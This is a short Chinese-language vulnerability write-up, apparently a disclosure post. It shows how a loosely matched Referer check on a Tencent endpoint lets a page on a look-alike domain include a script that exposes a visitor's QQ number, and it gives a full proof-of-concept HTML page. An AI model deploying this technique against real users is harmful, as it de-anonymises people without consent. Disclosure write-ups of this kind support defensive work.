腾讯接口读取 QQ 号码漏洞

腾讯有个接口,如果用户登录后,就从 Cookie 中提取 QQ 号码:

http://iyouxi.vip.qq.com/act_user_info.php?cmd=login

这个接口内容是返回一段 JavaScript 代码,其中为 _vip_act_uin 变量赋值了 QQ 号码:

<script src="http://iyouxi.vip.qq.com/act_user_info.php?cmd=login"></script>

但是实际上发现读不出,因为这个接口判断了 Referer,必须是来源于 **.qq.com 域。这给了我们很大限制,还好写 Referer 判断的人正则表达式不过关,他并不是完全匹配 Referer 中是否是 **.qq.com,所以我把上面那段 JavaScript 引用的代码放到 www.qq.com.xxx.com 的域名上,即可读出 QQ 号。其中 www.qq.com.xxx.com 的代码如下:

<!doctype html>
<html>
  <head>
    <title>Test</title>
    <script type="text/javascript" src="http://iyouxi.vip.qq.com/act_user_info.php?cmd=login"></script>
    <script type="text/javascript">
      alert(_vip_act_uin);
    </script>
  </head>
  <body>
  </body>
</html>